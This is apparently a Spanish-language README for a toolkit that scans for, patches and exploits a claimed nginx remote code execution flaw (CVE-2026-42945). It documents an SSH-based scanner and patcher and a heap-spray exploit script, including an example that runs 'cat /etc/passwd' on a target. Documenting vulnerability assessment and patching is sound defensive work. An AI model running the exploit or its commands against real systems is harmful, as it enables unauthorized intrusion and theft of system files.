
Kit de herramientas automatizado para escanear, explotar y parchear CVE-2026-42945 (RCE crítico en nginx). Incluye escáner de red, exploit de heap spray y parcheador por lotes con informes HTML/JSON.
Kit de herramientas integral para escanear, parchar y probar CVE-2026-42945, una vulnerabilidad crítica de ejecución remota de código en nginx
Este kit proporciona herramientas completas para escanear, parchar y probar CVE-2026-42945, una en nginx que afecta a versiones anteriores a 1.26.3 (mainline) y 1.24.1 (stable).
La vulnerabilidad explota el análisis malformado de cabeceras HTTP/2 cuando ASLR está deshabilitado mediante técnicas de heap spray.
| Propiedad | Valor |
|---|---|
| ID de Vulnerabilidad | CVE-2026-42945 |
| Tipo | Ejecución Remota de Código (RCE) |
| Puntuación CVSS | 9.8 (Crítica) |
| Versiones Afectadas | < 1.26.3 (mainline) / < 1.24.1 (stable) |
| Versión Corregida | 1.26.3+ |
| Vector de Ataque | Análisis malformado de cabeceras HTTP/2 |
| Requisito Previo | ASLR deshabilitado en el sistema objetivo |
Escanea una subred o un solo host para identificar instalaciones vulnerables de nginx.
Características:
Parchea automáticamente instancias vulnerables de nginx a la última versión segura.
Características:
Prueba la vulnerabilidad CVE-2026-42945 mediante técnica de heap spray.
Características:
paramiko (>= 3.0.0) - Librería cliente SSH
rich (>= 13.0.0) - Formateo de terminal y barras de progreso
git clone https://github.com/gagaltotal/CVE-2026-42945-NGINX-Rift-Toolkit
cd CVE-2026-42945-NGINX-Rift-Toolkit
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

nginx_scanner.py)python3 nginx_scanner.py --subnet 192.168.1.0/24 --user root --key ~/.ssh/id_rsa
python3 nginx_scanner.py --subnet 192.168.1.10 --user root --key ~/.ssh/id_rsa
python3 nginx_scanner.py --subnet 10.0.0.0/30 --user admin --password "password"
python3 nginx_scanner.py --subnet 192.168.1.0/24 --port 2222 --user root --key ~/.ssh/id_rsa
python3 nginx_scanner.py --subnet 192.168.1.0/24 --user root --key ~/.ssh/id_rsa --output report.html
--subnet SUBNET Subred objetivo en formato CIDR (obligatorio)
--user USER Nombre de usuario SSH (por defecto: root)
--password PASSWORD Contraseña SSH
--key KEY_PATH Ruta a la clave privada SSH
--port PORT Puerto SSH (por defecto: 22)
--timeout TIMEOUT Tiempo de espera de conexión en segundos (por defecto: 5)
--output FILE Archivo de informe de salida (HTML/JSON)
--workers WORKERS Número de hilos concurrentes (por defecto: 20)
nginx_patcher.py)
python3 nginx_patcher.py --subnet 192.168.1.0/24 --user root --key ~/.ssh/id_rsa
python3 nginx_patcher.py --subnet 192.168.1.0/24 --user root --key ~/.ssh/id_rsa --dry-run
python3 nginx_patcher.py --subnet 192.168.1.0/24 --target-version 1.26.3 --user root --key ~/.ssh/id_rsa
python3 nginx_patcher.py --subnet 10.0.0.0/30 --port 2222 --user admin --password "password"
--subnet SUBNET Subred objetivo en formato CIDR (obligatorio)
--user USER Nombre de usuario SSH (por defecto: root)
--password PASSWORD Contraseña SSH
--key KEY_PATH Ruta a la clave privada SSH
--port PORT Puerto SSH (por defecto: 22)
--timeout TIMEOUT Tiempo de espera de conexión en segundos (por defecto: 30)
--target-version VERSION Versión de nginx a la que parchear (por defecto: última)
--dry-run Mostrar lo que se parchearía sin ejecutar
--workers WORKERS Número de hilos concurrentes (por defecto: 10)
exploit.py)
python3 exploit.py --target 192.168.1.100 --port 80
python3 exploit.py --target 192.168.1.100 --port 80 --command "cat /etc/passwd"
python3 exploit.py --target 192.168.1.100 --port 80 --spray 50
python3 exploit.py --target 192.168.1.100 --port 80 --verbose
--target HOST IP o dominio del host objetivo (obligatorio)
--port PORT Puerto objetivo (por defecto: 80)
--command CMD Comando a ejecutar
--spray NUM Número de intentos de heap spray (por defecto: 20)
--timeout TIMEOUT Tiempo de espera de conexión en segundos (por defecto: 5)
--tries NUM Número de intentos de explotación (por defecto: 10)
--verbose Habilitar salida detallada
# Paso 1: Escanear la red en busca de instancias vulnerables
python3 nginx_scanner.py --subnet 10.0.0.0/24 --user admin --key ~/.ssh/key --output scan_results.html
# Paso 2: Revisar los resultados del escaneo en scan_results.html
# Paso 3: Parchear las instancias vulnerables
python3 nginx_patcher.py --subnet 10.0.0.0/24 --user admin --key ~/.ssh/key
# Paso 4: Verificar que los parches se aplicaron volviendo a ejecutar el escáner
python3 nginx_scanner.py --subnet 10.0.0.0/24 --user admin --key ~/.ssh/key
# Paso 1: Simulación para ver qué se parchearía
python3 nginx_patcher.py --subnet 192.168.1.0/24 --user root --key ~/.ssh/id_rsa --dry-run
# Paso 2: Aplicar parches
python3 nginx_patcher.py --subnet 192.168.1.0/24 --user root --key ~/.ssh/id_rsa
# Paso 1: Primero verificar que el sistema es vulnerable
python3 exploit.py --target 10.0.0.50 --port 80 --verbose
# Paso 2: Si tiene éxito, se recomienda el parcheo inmediato
python3 nginx_patcher.py --subnet 10.0.0.50 --user root --key ~/.ssh/id_rsa
| Consideración | Detalles |
|---|---|
| Gestión de Claves SSH | Almacenar las claves SSH de forma segura, nunca enviarlas a repositorios |
| Acceso a la Red | Asegurar una segmentación de red adecuada para uso en producción |
| Entorno de Pruebas | Probar siempre primero en un entorno que no sea de producción |
| Registro | Todas las operaciones generan registros detallados para pista de auditoría |
| Estado de ASLR | La herramienta de explotación requiere que ASLR esté deshabilitado en el objetivo |
| Modo Simulación | Usar la bandera --dry-run para previsualizar cambios antes de aplicarlos |
| Copia de Seguridad | Hacer siempre una copia de seguridad de la configuración de nginx antes de parchear |
python3 nginx_scanner.py --subnet 10.0.0.0/24 --user root --key ~/.ssh/id_rsa
python3 nginx_scanner.py --subnet 10.0.0.0/24 --user root --password "password"
python3 nginx_scanner.py --subnet 10.0.0.0/24 --user root --key ~/.ssh/id_rsa --port 2222
chmod 600 ~/.ssh/id_rsa--dry-run para identificar problemas sin aplicarEl escáner genera informes detallados en múltiples formatos:
| Formato | Descripción |
|---|---|
| Informe HTML | Visualizable en navegador con resumen de vulnerabilidades, hosts afectados, detalles de versión |
| Informe JSON | Formato legible por máquina con detalles técnicos completos |
| Salida en Consola | Progreso en tiempo real con resultados codificados por colores |
Todas las operaciones se registran con marcas de tiempo para cumplimiento de auditoría. Consulte la salida de la consola para obtener información detallada de la ejecución.
¡Las contribuciones son bienvenidas! Para contribuir:
git checkout -b feature/improvement)git commit -am 'Add improvement')git push origin feature/improvement)Este kit se proporciona únicamente para pruebas de seguridad autorizadas y evaluación de vulnerabilidades. El acceso no autorizado a sistemas informáticos es ilegal. Los usuarios son responsables de asegurarse de tener la autorización adecuada antes de utilizar este kit.
gagaltotal - GitHub
Este proyecto está bajo la Licencia MIT - consulte el archivo LICENSE para más detalles.
Última Actualización: 2026-05-20